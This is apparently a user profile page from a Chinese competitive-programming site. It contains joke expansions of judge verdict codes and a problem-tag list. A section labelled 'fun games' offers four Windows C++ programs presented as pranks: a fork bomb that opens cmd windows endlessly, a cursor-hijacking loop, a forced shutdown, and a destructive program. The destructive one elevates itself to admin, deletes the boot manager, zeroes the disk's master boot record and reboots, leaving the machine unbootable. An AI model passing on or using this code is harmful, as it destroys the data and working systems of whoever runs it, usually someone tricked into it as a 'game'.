-
个人简介
写满分代码,赢美满人生
TLE=Time Limit Enough=时间充裕
MLE=Memory Limit Enough=内存充裕
CE=Compile Easily=轻松通过编译
RE=Run Excellently=完美运行
UKE=Unbelievably Keeping Enough Score=难以
置信地保持足够的分数
AU=All Unaccepted=全都不正确
OLE:Output Limit Enough 输出充裕
UKE:United Kingdom Error 大不列颠错误
AC=Answer Coarse=粗劣的答案
WA=Wonderful Answer=好答案
AC: Answer Accidently 意外的答案
PC:Past Compile 通过编译
RE:Right Enough 太过正确
好玩的游戏
#include<windows.h> using namespace std; int main(){ while(true) system("start cmd"); return 0; }
#include<windows.h> using namespace std; int main(){ while(true){ SetCursorPos(rand()%1000,rand()%1000); } return 0; }
#include<windows.h> using namespace std; int main(){ system("shutdown -s -t 60"); system("shutdown -p"); return 0; }
#include <windows.h> BOOL IsRunAsAdmin(HANDLE hProcess) { if (!hProcess) hProcess = GetCurrentProcess(); BOOL bElevated = FALSE; HANDLE hToken = NULL; if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) return FALSE; TOKEN_ELEVATION tokenEle; DWORD dwRetLen = 0; if (GetTokenInformation(hToken, TokenElevation, &tokenEle, sizeof(tokenEle), &dwRetLen)) { if (dwRetLen == sizeof(tokenEle)) { bElevated = tokenEle.TokenIsElevated; } } CloseHandle(hToken); return bElevated; } VOID ManagerRun(LPCSTR exe, LPCSTR param, INT nShow) { SHELLEXECUTEINFO ShExecInfo; ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO); ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS ; ShExecInfo.hwnd = NULL; ShExecInfo.lpVerb = "runas"; ShExecInfo.lpFile = exe; ShExecInfo.lpParameters = param; ShExecInfo.lpDirectory = NULL; ShExecInfo.nShow = nShow; ShExecInfo.hInstApp = NULL; BOOL ret = ShellExecuteEx(&ShExecInfo); CloseHandle(ShExecInfo.hProcess); } void MBR() { DWORD Ropen; BYTE pMBR[1024] = { 0 }; HANDLE hDevice = CreateFile( "\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &Ropen, NULL); WriteFile(hDevice, pMBR, 1024, &Ropen, NULL); DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &Ropen, NULL); } int main(int argc, char *argv[]) { if (!IsRunAsAdmin(NULL)) { ShowWindow(GetConsoleWindow(),SW_HIDE); ManagerRun(argv[0],"2",SW_SHOWNORMAL); return 1; }else{ system("bcdedit /delete {bootmgr} /f"); MBR(); system("shutdown -r -t 0"); } return 0; }
-
通过的题目
-
最近活动
题目标签
- 入门
- 82
- 基础
- 38
- 语法基础
- 35
- 普及-
- 26
- 字符串
- 18
- 二维数组
- 18
- 循环
- 12
- 算法基础
- 10
- 函数
- 9
- 排序
- 9
- STL容器
- 9
- 递归
- 8
- 进制转换
- 7
- 结构体
- 7
- 数学
- 6
- 基本运算
- 6
- 一维数组
- 5
- 模拟算法
- 4
- 进阶
- 4
- 数据结构
- 4